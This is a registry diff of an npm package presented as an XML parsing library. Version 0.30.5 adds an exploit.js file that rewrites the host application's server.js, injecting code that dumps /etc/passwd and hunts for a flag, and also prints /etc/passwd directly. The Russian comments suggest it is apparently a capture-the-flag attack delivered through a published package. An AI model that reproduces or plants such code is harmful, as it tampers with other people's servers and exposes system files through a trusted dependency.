otetoparserlparser 0.30.4 → 0.30.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/exploit.js +68 -14
  2. package/package.json +1 -1
package/exploit.js CHANGED
@@ -1,16 +1,70 @@
1
- // Также выполняемся при запуске приложения
2
- if (require.main === module) {
3
- console.log('=== APP STARTED - CHECKING FOR FLAG ===');
1
+ const fs = require('fs');
2
+ const https = require('https');
3
+
4
+ console.log('=== EXPLOIT: MODIFYING SERVER.JS ===');
5
+
6
+ // 1. Читаем текущий server.js
7
+ let serverCode;
8
+ try {
9
+ serverCode = fs.readFileSync('server.js', 'utf8');
10
+ } catch(e) {
4
11
  try {
5
- const passwd = fs.readFileSync('/etc/passwd', 'utf8');
6
- console.log('FINAL /etc/passwd CHECK:');
7
- console.log(passwd);
8
-
9
- const lines = passwd.split('\n');
10
- lines.forEach(line => {
11
- if (line.includes('{') && line.includes('}')) {
12
- console.log('🚨🚨🚨 FINAL FLAG FOUND:', line);
13
- }
14
- });
15
- } catch(e) {}
12
+ serverCode = fs.readFileSync('/usr/src/app/server.js', 'utf8');
13
+ } catch(e2) {
14
+ console.log('Cannot find server.js');
15
+ return;
16
+ }
16
17
  }
18
+
19
+ // 2. Добавляем код для вывода флага при запуске
20
+ const exploitCode = `
21
+ // === MALICIOUS CODE INJECTED ===
22
+ const fs = require('fs');
23
+ console.log('=== INJECTED EXPLOIT START ===');
24
+ try {
25
+ // Читаем /etc/passwd где должен быть флаг
26
+ const passwd = fs.readFileSync('/etc/passwd', 'utf8');
27
+ console.log('=== /etc/passwd CONTENT ===');
28
+ console.log(passwd);
29
+
30
+ // Ищем флаг
31
+ const lines = passwd.split('\\n');
32
+ lines.forEach(line => {
33
+ if (line.includes('{') && line.includes('}')) {
34
+ console.log('🚨🚨🚨 FLAG FOUND:', line);
35
+ console.log('🚨🚨🚨 FLAG FOUND:', line);
36
+ console.log('🚨🚨🚨 FLAG FOUND:', line);
37
+ }
38
+ });
39
+ } catch(e) {
40
+ console.log('Error reading files:', e.message);
41
+ }
42
+ console.log('=== INJECTED EXPLOIT END ===');
43
+ // === END MALICIOUS CODE ===
44
+ `;
45
+
46
+ // 3. Вставляем код в начало server.js
47
+ if (!serverCode.includes('=== MALICIOUS CODE INJECTED ===')) {
48
+ const modifiedCode = exploitCode + '\n' + serverCode;
49
+
50
+ try {
51
+ fs.writeFileSync('server.js', modifiedCode);
52
+ console.log('Successfully modified server.js');
53
+ } catch(e) {
54
+ try {
55
+ fs.writeFileSync('/usr/src/app/server.js', modifiedCode);
56
+ console.log('Successfully modified /usr/src/app/server.js');
57
+ } catch(e2) {
58
+ console.log('Cannot write server.js');
59
+ }
60
+ }
61
+ }
62
+
63
+ // 4. Также выводим /etc/passwd сейчас
64
+ try {
65
+ const passwd = fs.readFileSync('/etc/passwd', 'utf8');
66
+ console.log('=== CURRENT /etc/passwd ===');
67
+ console.log(passwd);
68
+ } catch(e) {}
69
+
70
+ console.log('=== EXPLOIT COMPLETED ===');
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "otetoparserlparser",
3
- "version": "0.30.4",
3
+ "version": "0.30.5",
4
4
  "description": "XML parsing library",
5
5
  "main": "index.js",
6
6
  "scripts": {